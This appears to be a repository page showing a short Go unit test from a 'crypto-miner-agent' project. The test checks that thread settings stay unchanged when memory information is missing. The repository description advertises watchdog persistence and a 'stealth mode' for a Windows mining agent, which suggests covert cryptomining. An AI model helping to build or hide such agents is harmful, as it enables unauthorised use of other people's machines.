Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
25 lines
618 B
Go
25 lines
618 B
Go
package config
|
|
|
|
import (
|
|
"testing"
|
|
|
|
"crypto-miner-agent/stats"
|
|
)
|
|
|
|
func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
|
|
reporter := stats.NewReporter()
|
|
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
|
ThreadMode: "fixed",
|
|
Threads: 16,
|
|
MaxMemoryPct: 50,
|
|
AdaptToHardware: true,
|
|
MinFreeRAM: 999999,
|
|
}}
|
|
|
|
// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
|
|
adapted := cfg.AdaptToSystem(reporter)
|
|
if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
|
|
t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
|
|
}
|
|
}
|